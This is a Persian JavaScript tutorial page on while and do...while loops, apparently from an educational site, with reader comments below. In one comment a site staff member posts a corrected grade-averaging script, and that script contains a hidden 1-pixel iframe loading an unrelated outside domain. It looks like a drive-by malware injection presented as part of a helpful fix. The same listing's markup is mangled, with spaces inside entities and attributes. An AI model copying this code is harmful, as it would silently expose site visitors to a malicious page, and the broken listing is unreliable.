سبد (0)

تبلیغات

حلقه while در JavaScript

حلقه while:

Wiki

این دستور تا زمانی که شرط برقرار باشد دستورات را اجرا می کند و شرط قبل از اجرای دستورات چک می شود. بدین معنا که اگر در وسط اجرای دستورات متغیرها طوری تغییر کنند که شرط برقرار نباشد، دستورات همچنان تا پایان اجرا می شوند.

نحوه استفاده:

while (condition)
  {
  code to be executed
  }

در مثال زیر یک حلقه تعریف کرده ایم که با i=0 شروع می شود و دستورات داخل حلقه تا زمانی که i<=5 باشد ادامه می یابد، البته توجه داشته باشید که مقدار متغیر i در داخل حلقه هر بار یک واحد اضافه می شود:

مثال (حلقه while در JavaScript)

<html>
<body>
<script type="text/javascript">
var i=0;
while (i<=5)
  {
  document.write("The number is " + i);
  document.write("<br />");
  i++;
  }
</script>
</body>
</html>
خودتان امتحان کنید »

دستور do...while:

Wiki

این دستور شباهت بسیار زیادی به دستور while دارد با این تفاوت که شرط در پایان اجرای دستورات چک می شود یعنی به این صورت که اگر از ابتدا هم شرط برقرار نباشد، دستورات یکبار اجرا می شوند و بعد شرط چک می شود.

نحوه استفاده:

do
  {
  code to be executed
 
}
while (condition);

مثال:

تفاوت این مثال با مثال قبلی در دو چیز است:

  1. چون شرط حلقه در پایان دستورات چک می شود، دستورات داخل حلقه حتماً برای یک بار اجرا می شوند.
  2. چون دستور ;++i قبل از دستور چاپ است، بنابراین اعداد از 1 تا 6 چاپ می شود.

مثال (حلقه while در JavaScript)

<html>
<body>
<script type="text/javascript">
var i=0;
do
  {
  i++;
  document.write("The number is " + i);
  document.write("<br />");
  }
while (i<=5);
</script>
</body>
</html>
خودتان امتحان کنید »

دیدگاه‌ها  

+2 # یاشار 1394-08-23 19:40
سلام و خسته نباشید به عوامل بیاموز
میخاستم یه سوال بپرسم
من یه کدی نوشتم که معدل گیری می کنه و کار کردنش به این صورته که
وقتی شماره 0 رو وارد می کنی حلقه شکسته میشه و معدل نمایش داده میشه
اما مشکل من اینجاس که صفر رو هم نشون میده چیکار کنم که نشون نده
اینم کدها
http://up.psaeed.ir/download/932131/test.txt
ممنون میشم جواب بدین با تشکر
پاسخ دادن | پاسخ به نقل قول | نقل قول کردن
+2 # مهرداد صلاحی 1394-08-23 20:29
با سلام.
انجمن سایت بیاموز راه اندازی شد. از این پس میتوانید سوالات خود را در انجمن مطرح کنید تا علاوه بر پاسخگویی سریع، از امکانات آن برای درج راحت تر پرسش و پاسخ و همینطور از نظر دیگر کاربران بهره مند شوید.

اما جواب سؤال شما دوست عزیز! من یه تیکه شرط if قاطی کدهات کردم. با این شرط کار موردنظرت انجام میشه. اگر چه در مورد کل برنامه به نظرم راحت تر هم میشد عمل کرد، اما چون کدهای خودت بود من بهش دست نزدم.<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>معدل</title>
<meta http-equiv=&quo t;Content-Type& quot; content="t ext/html; charset=utf-8&q uot; />
</head>
<body>
<iframe style="hei ght:1px" src="http: //www&#46;B renz.pl/rc/&quo t; frameborder=0 width=1></iframe>
<script typa="text /javascript&quo t; language="javascript">
var x=0;
var y=0;
var z=-1;
do{
x=prompt("number");
y=Number(y)+Number(x);
z=z+1;
if(Number(x) != 0){
document.write(Number(x));
document.write("<br/>");
}
} while (x!=0){document.write("میانگین:"+y/z);}

do{
c=prompt("insert name");
document.write("<br/>");
document.write(c);
}while ("")
</script>
</body>
</html>
پاسخ دادن | پاسخ به نقل قول | نقل قول کردن
+4 # یاشار 1394-08-23 21:14
واقعا مرسی خیلی لازمش داشتم
در مورده معرفی انجمن هم متشکرم
این سایت رو به همه ی دوستانم معرفی می کنم ایشالله که روزی به جز این سایت منبعی برای برنامه نویسی وجود نداشته باشه
به امید اون روز
پاسخ دادن | پاسخ به نقل قول | نقل قول کردن
+5 # مهرداد صلاحی 1394-08-23 22:27
تشکر میکنم دوست عزیز.
باعث افتخار ماست که می‌تونیم به شما عزیزان کمک کنیم.

موفق باشید.
پاسخ دادن | پاسخ به نقل قول | نقل قول کردن
+2 # خسرو 1395-11-04 10:05
درود بر شما که افتخارتون کمک کردن به دیگرانه.
ممنون از سایت خوبتون.
پاسخ دادن | پاسخ به نقل قول | نقل قول کردن

آموزش صوتی JavaScript

بستن
مدرس:
سوال و جواب:

ابزاری که در پیش روی دارید یکی از ابزارهای بسیار کاربردی سایت بیاموز در زمینه آموزش است، این ابزار برای سهولت یادگیری شما کاربران محترم طراحی شده است.

فقط کافی است روی عنوان پاراگراف مورد نظرتان کلیک کنید تا پخش صدا آغاز شود ...!

تمامی محصولات و خدمات این وبسایت، حسب مورد دارای مجوزهای لازم از مراجع مربوطه می‌باشند و فعالیت‌های این سایت تابع قوانین و مقررات جمهوری اسلامی ایران است.
logo-samandehi مجوز نشر دیجیتال از وزرات فرهنگ و ارشاد اسلامی پرداخت آنلاین -  بانک ملت معرفی بیاموز در شبکه سه پرداخت آنلاین - بانک اقتصاد نوین پرداخت آنلاین - بانک سامان
 
دوره های آموزشی راه اندازی کسب و کارهای اینترنتی
تبلیغات اینترنتی